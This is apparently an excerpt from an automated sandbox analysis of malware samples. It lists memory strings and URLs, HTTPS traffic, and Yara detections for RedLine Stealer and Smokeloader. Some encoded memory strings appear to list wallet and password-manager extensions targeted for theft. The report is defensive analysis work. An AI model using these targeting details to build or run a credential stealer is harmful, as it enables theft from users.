Source: 8ec8c5c339.exe, 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: 8ec8c5c339.exe, 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://svgwg.org/svg2-draft/struct.html#SymbolNotes:
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000023.00000002.3321697398.0000028631045000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2978941920.000002862D252000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000023.00000002.2978941920.000002862D252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com(7O
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000023.00000002.3321697398.0000028631031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/mathml-core/#dfn-maction
Source: firefox.exe, 00000023.00000002.3321697398.0000028631031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/mathml-core/#dfn-semantics
Source: firefox.exe, 00000023.00000002.3321697398.0000028631031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/mathml-core/#the-mathvariant-attribute
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: 8ec8c5c339.exe, 00000008.00000002.2772437100.0000000028AA1000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2628599943.00000238F2EAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2644160751.000001F4143C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000023.00000002.3337329658.0000028631F5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3338983377.000002863207E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000023.00000002.3338983377.000002863207E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=utf-8&mode=blended&tag=mozill
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://extensions/content/schemas/notifications
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/moz-extension://a581a2f1-688c-434b-8db8-16166b199
Source: firefox.exe, 00000023.00000002.3168184572.000002862DC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000023.00000003.2833188237.000002863208E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.certificate-transparency.org/what-is-ct
Source: 8ec8c5c339.exe, 00000008.00000002.2772437100.0000000028AA1000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2628599943.00000238F2EAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2644160751.000001F4143C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2608317826.00000238F7118000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3168184572.000002862DC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3193026235.000002862DD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000023.00000002.3168184572.000002862DC8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/2
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService
Source: firefox.exe, 00000023.00000002.3337329658.0000028631F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchpictureinpicture
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchwikipedia
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000023.00000002.3306154976.000002862E86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 8ec8c5c339.exe, 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 8ec8c5c339.exe, 00000008.00000003.2494959406.0000000028D48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 00000023.00000003.2911410230.000002863BF68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 8ec8c5c339.exe, 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 8ec8c5c339.exe, 00000008.00000003.2494959406.0000000028D48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 8ec8c5c339.exe, 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 8ec8c5c339.exe, 00000008.00000003.2494959406.0000000028D48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 8ec8c5c339.exe, 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: 8ec8c5c339.exe, 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: 8ec8c5c339.exe, 00000008.00000003.2494959406.0000000028D48000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001D.00000002.2644160751.000001F4143C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2996654486.000002862D349000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000018.00000002.2628599943.00000238F2E56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/J
Source: 8ec8c5c339.exe, 00000008.00000003.2494959406.0000000028D48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000023.00000002.2978941920.000002862D252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgL4
Source: firefox.exe, 00000018.00000002.2623557649.00000096528BB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2629600629.00000238F2FB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3350268483.000002863270E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3193026235.000002862DD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DAA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000023.00000002.3168184572.000002862DC8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org//
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/getActiveAddons/
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3193026235.000002862DD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000023.00000002.3168184572.000002862DC8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/3
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/toolkit/about/aboutPlugins.ftlhttps://www.openh264.org/operationsRequiringR
Source: firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3168184572.000002862DC6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000023.00000002.3353317296.00000286329B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account
Source: firefox.exe, 00000017.00000002.2590223303.000001DEF7FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account--attempting-deelevation
Source: 1c593ec106.exe, 00000009.00000002.2964260464.0000000006630000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account7
Source: 1c593ec106.exe, 00000009.00000002.2964260464.0000000006630000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account=
Source: firefox.exe, 00000015.00000002.2580813098.000001CBE7950000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2625098000.00000238E7430000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2817649774.0000025C6DB00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountC:
Source: firefox.exe, 00000018.00000002.2624675381.00000238E7390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountH
Source: 1c593ec106.exe, 00000009.00000002.2964260464.0000000006630000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountI
Source: firefox.exe, 00000018.00000002.2626428785.00000238E8F6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountMOZ_CRASHREPORT
Source: firefox.exe, 00000023.00000002.3324817796.0000028631391000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2942352042.00000286233A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:
Source: 1c593ec106.exe, 0000000C.00000002.2961150668.00000000066D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountQ
Source: firefox.exe, 0000001D.00000002.2643663526.000001F414100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account_
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountbrowser-delayed-startup-finishedauthorStyleDisabledDefaultresetLocati
Source: firefox.exe, 00000023.00000002.3338983377.000002863207E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountmain/nimbus-desktop-experimentsmain/nimbus-desktop-experimentsupgrade
Source: 1c593ec106.exe, 0000000C.00000002.2961150668.00000000066D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountt
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accounttoolkit.singletonWindowType_downloadTypesViewableInternally_shouldVie
Source: 1c593ec106.exe, 00000009.00000002.2964260464.0000000006630000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountw
Source: firefox.exe, 00000018.00000002.2630851621.00000238F3709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2630851621.00000238F372C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2598025146.00000238F3712000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.00000286310AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000023.00000002.3357057608.0000028632C41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3297087442.000002862E582000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49568
Source: unknown	Network traffic detected: HTTP traffic on port 49567 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49567
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49554
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49565
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49553
Source: unknown	Network traffic detected: HTTP traffic on port 49563 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49563
Source: unknown	Network traffic detected: HTTP traffic on port 49568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49562
Source: unknown	Network traffic detected: HTTP traffic on port 49565 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49561
Source: unknown	Network traffic detected: HTTP traffic on port 49564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49561 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49553 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49558

Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49564 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49565 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49568 version: TLS 1.2

Source: 1c593ec106.exe, 00000009.00000002.2939170613.00000000021CA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: _WINAPI_REGISTERRAWINPUTDEVICES

memstr_ce4959c1-9

Source: Yara match	File source: Process Memory Space: 1c593ec106.exe PID: 8168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1c593ec106.exe PID: 6824, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1c593ec106.exe PID: 3960, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 0000000A.00000002.2721807225.00000000025D0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000008.00000002.2743508597.0000000003FB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000001E.00000002.2781993331.00000000026C0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001E.00000002.2783023147.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000008.00000002.2741099564.00000000024AD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000A.00000002.2722138020.00000000040D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Binary is likely a compiled AutoIt script file

Source: 1c593ec106.exe, 00000009.00000002.2918001289.0000000000452000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_9374cf64-b
